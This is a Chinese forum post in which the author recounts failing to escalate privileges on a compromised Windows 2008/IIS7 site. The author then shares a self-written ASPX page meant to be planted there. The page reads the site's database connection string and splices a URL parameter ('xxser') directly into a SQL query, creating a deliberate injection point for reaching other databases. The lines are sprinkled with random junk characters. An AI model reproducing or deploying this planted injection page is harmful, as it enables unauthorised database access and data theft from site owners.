昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
) w4 J+ j7 ?" D; H* a( K( ]0 O. `其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
. n+ O+ A. l; W1 K代码量不多,自己写个拉倒了。烦死了。( h- E1 n8 `+ ?2 t; A! {
: B8 H, o& c: D1 \
6 H) s! W" k7 g6 k8 U/ X<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2 C' m$ j k5 u/ F4 t<html xmlns="http://www.w3.org/1999/xhtml">
* l0 E1 Z N$ l6 `<head runat="server">
0 K) Z+ S; ]5 i' R$ Q! Z <title>暗影aspx构造注射专用页面</title>
- Y! b9 _* I* w& m3 z9 }- |+ s</head>- D3 U2 B6 z- y9 W: ?
<body>) F: P6 P5 J: Z" z4 n5 q+ }2 b
<form id="form1" runat="server">9 _* s( f1 ]; C* d( ?
<div>& e9 k9 ]5 I" i W2 u
<script language="c#" runat="server">$ b8 R* n+ x# _. y6 N
/ M/ b% ~ h! c+ R; ]1 N1 R
void page_init(object sender, EventArgs e)- P( ? a. S* L
{
: {7 V7 M5 p, r
' D: S: {: A7 I- a; B9 a; Y4 ~ System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
8 M# J. i% Q! k* ^, D % [ \: G G( w) |6 ^; {3 T
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();% d$ [& \$ J- ]: D3 }6 g& N
conn.Open();0 L% @+ [' \3 R' F
" I) `4 H0 S2 @
string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
/ N2 {. f6 b' Z8 q9 u9 f ( V) i1 u5 W) s) U) r
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
- m/ x- a" w4 E3 S3 u int x = command.ExecuteNonQuery();
" n1 S2 {' r- R0 w2 ] Response.Write(i+"\n");
0 l2 e6 B3 W9 z0 }( W Response.Write(x);
: Q+ }0 ~& d% B, m3 m+ d* g conn.Close();+ n: ?! N* y* x/ B% E
}, X$ q* ]3 b: ?, M2 W9 I4 ?- e
5 C Y1 |8 q: y1 c </script>6 r2 W6 f( F3 w( ]% w' R3 G
</div>8 h& [/ C9 x8 N
</form>
- r% l9 k, y$ b0 D& h6 ^9 O+ o</body>1 `7 x/ w9 n8 Y, k' i1 ]7 J
</html>
8 ]. a3 h! p$ j0 s |